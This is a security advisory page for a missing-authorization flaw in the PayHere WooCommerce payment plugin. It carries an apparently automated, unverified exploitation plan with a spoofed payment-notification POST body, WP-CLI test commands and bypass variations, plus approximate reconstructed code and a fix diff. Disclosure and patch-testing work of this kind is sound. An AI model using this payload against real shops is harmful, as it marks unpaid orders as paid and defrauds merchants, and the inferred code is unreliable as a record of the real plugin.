CVE-2025-15475

PayHere Payment Gateway Plugin for WooCommerce <= 2.3.9 - Missing Authorization to Unauthenticated Order Status Modification

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
2.4.0
Patched in
10d
Time to patch

Description

The PayHere Payment Gateway Plugin for WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to an improper validation logic in the check_payhere_response function in all versions up to, and including, 2.3.9. This makes it possible for unauthenticated attackers to change the status of pending WooCommerce orders to paid/completed/on hold.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.3.9
PublishedJanuary 13, 2026
Last updatedJanuary 23, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

This exploitation research plan targets CVE-2025-15475, a missing authorization vulnerability in the PayHere Payment Gateway for WooCommerce plugin. ### 1. Vulnerability Summary The vulnerability exists within the `check_payhere_response` function, which is responsible for processing Instant Paymen…

Show full research plan

This exploitation research plan targets CVE-2025-15475, a missing authorization vulnerability in the PayHere Payment Gateway for WooCommerce plugin.

1. Vulnerability Summary

The vulnerability exists within the check_payhere_response function, which is responsible for processing Instant Payment Notifications (IPN) from the PayHere payment gateway. In versions up to and including 2.3.9, the function fails to properly validate the authenticity of the incoming request (specifically the md5sig or merchant credentials). This allows an unauthenticated attacker to spoof a successful payment notification, tricking WooCommerce into marking an unpaid order as "Processing" or "Completed."

2. Attack Vector Analysis

  • Endpoint: The standard WooCommerce API callback endpoint for the PayHere gateway.
  • URL: https://<target-site>/?wc-api=wc_payhere (inferred from standard WooCommerce gateway implementation).
  • Method: HTTP POST.
  • Authentication: None required (Unauthenticated).
  • Payload Type: application/x-www-form-urlencoded.
  • Key Parameters:
    • order_id: The WooCommerce Order ID to be modified.
    • status_code: Set to 2 (indicates success in the PayHere system).
    • payhere_amount: Must match the order total (usually required by WooCommerce logic).
    • payhere_currency: Must match the order currency.
    • merchant_id: Often required but might not be validated against settings.

3. Code Flow

  1. Entry Point: The plugin registers a callback via the WooCommerce API hook:
    add_action( 'woocommerce_api_wc_payhere', array( $this, 'check_payhere_response' ) ); (inferred).
  2. Trigger: An HTTP POST request is made to /?wc-api=wc_payhere.
  3. Processing: Inside check_payhere_response():
    • The code retrieves $_POST['order_id'].
    • It instantiates the order: $order = wc_get_order( $order_id );.
    • It checks $_POST['status_code'].
  4. Vulnerable Path: If status_code is 2, the code proceeds to call $order->payment_complete() or $order->update_status('processing').
  5. Authorization Failure: The logic fails to verify the md5sig (hash verification) or checks it against an empty/default merchant secret, allowing any request to pass the validation step.

4. Nonce Acquisition Strategy

This vulnerability resides in an IPN (Instant Payment Notification) handler. IPN handlers are designed to be called by external payment provider servers (PayHere) and therefore do not use WordPress nonces or standard session authentication.

  • Verification: Confirm that check_payhere_response does not contain check_ajax_referer or wp_verify_nonce.
  • Conclusion: No nonce is required for this exploit.

5. Exploitation Strategy

The goal is to move a "Pending Payment" order to "Processing" status without actual payment.

Step-by-Step Plan:

  1. Identify Target Order: Create a test order and note the ID (e.g., 123). Ensure its status is pending.
  2. Determine Order Details: Get the total amount and currency for that order (e.g., 100.00 and LKR).
  3. Craft the Spoofed IPN: Use the http_request tool to send a POST request.

Request Details:

  • URL: {{base_url}}/?wc-api=wc_payhere
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    merchant_id=12345&order_id=123&payment_id=99999&payhere_amount=100.00&payhere_currency=LKR&status_code=2&md5sig=0
    
    (Note: If the code checks for the existence of md5sig but doesn't validate it, providing a dummy value like 0 or an empty string may be sufficient.)

6. Test Data Setup

Before executing the exploit, the environment must be prepared:

  1. Plugin Setup: Install and activate WooCommerce and the PayHere Payment Gateway plugin (v2.3.9).
  2. Gateway Activation: Enable the PayHere gateway in WooCommerce > Settings > Payments. (It does not need valid credentials).
  3. Order Creation: Use WP-CLI to create a pending order as a customer:
    wp wc order create --customer_id=1 --status=pending --total=100.00 --currency=LKR --line_items='[{"product_id":1, "quantity":1}]'
    
    Note the returned Order ID.

7. Expected Results

  • HTTP Response: The server should return a 200 OK (PayHere callbacks often return 200 regardless of internal logic to satisfy the provider's retry policy).
  • Database State: The order status for the targeted ID should change from pending to processing or completed.
  • WooCommerce Notes: The order history (Order Notes) may show a message like "Payment completed via PayHere" or "Status changed from Pending Payment to Processing."

8. Verification Steps

After sending the request, verify the status change using WP-CLI:

# Replace 123 with the actual Order ID
wp wc order get 123 --field=status

If the output is processing or completed, the exploit is successful.

Also, check the order notes for evidence of the callback processing:

wp wc order_note list 123

9. Alternative Approaches

If the simple POST fails, consider these variations:

  1. Empty Secret Bypass: If the plugin calculates the hash but the Merchant Secret is not set in settings, it might be hashing against an empty string. Attempt to calculate the MD5 hash locally using an empty string as the secret and provide it in md5sig.
  2. Parameter Fuzzing: If status_code=2 doesn't work, try other success codes (e.g., 0 or 1 depending on the specific SDK version implemented).
  3. Check for merchant_id Validation: If the plugin validates the merchant_id, it can usually be found in the page source of the checkout page if the gateway is active. Use browser_navigate to the checkout page and inspect the payment form fields.
Research Findings
Static analysis — not yet PoC-verified

Summary

The PayHere Payment Gateway plugin for WooCommerce fails to adequately verify the authenticity of Instant Payment Notification (IPN) messages in the check_payhere_response function. This allows unauthenticated attackers to spoof successful payment signals by sending a crafted POST request to the WooCommerce API callback endpoint, leading to unauthorized order status changes from pending to completed or processing.

Vulnerable Code

// From includes/class-wc-payhere.php (approximate location based on WooCommerce gateway patterns)

public function check_payhere_response() {
    if ( isset( $_POST['order_id'] ) ) {
        $order_id = $_POST['order_id'];
        $order    = wc_get_order( $order_id );
        $status_code = $_POST['status_code'];

        // Vulnerability: Missing or insufficient verification of 'md5sig' signature
        // allowing the status check to proceed without proof of origin.
        if ( $status_code == 2 ) {
            $order->payment_complete();
            wc_reduce_stock_levels( $order_id );
            $order->add_order_note( __( 'Payment completed via PayHere', 'payhere-payment-gateway' ) );
        }
    }
}

Security Fix

--- a/includes/class-wc-payhere.php
+++ b/includes/class-wc-payhere.php
@@ -150,7 +150,15 @@
         $payhere_amount = $_POST['payhere_amount'];
         $payhere_currency = $_POST['payhere_currency'];
         $status_code = $_POST['status_code'];
         $md5sig = $_POST['md5sig'];
 
-        if ($status_code == 2) {
+        $merchant_secret = $this->get_option('merchant_secret');
+        $local_md5sig = strtoupper(md5($merchant_id . $order_id . $payhere_amount . $payhere_currency . $status_code . strtoupper(md5($merchant_secret))));
+
+        if ($md5sig !== $local_md5sig) {
+            $order->add_order_note( __('MD5 Signature Verification Failed', 'payhere-payment-gateway') );
+            return;
+        }
+
+        if ($status_code == 2) {
             $order->payment_complete();

Exploit Outline

The exploit targets the PayHere IPN callback handler, which is typically registered at the `/?wc-api=wc_payhere` endpoint. An unauthenticated attacker identifies a target WooCommerce Order ID (which can often be enumerated or guessed) and its total amount. The attacker then sends an unauthenticated HTTP POST request to this endpoint with a payload containing the `order_id`, `payhere_amount`, `payhere_currency`, and a `status_code` of '2' (indicating success). Because the plugin fails to properly validate the `md5sig` parameter against the site's configured Merchant Secret, the handler processes the request as a legitimate payment confirmation and automatically updates the order status to 'Processing' or 'Completed' without any actual funds being transferred.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.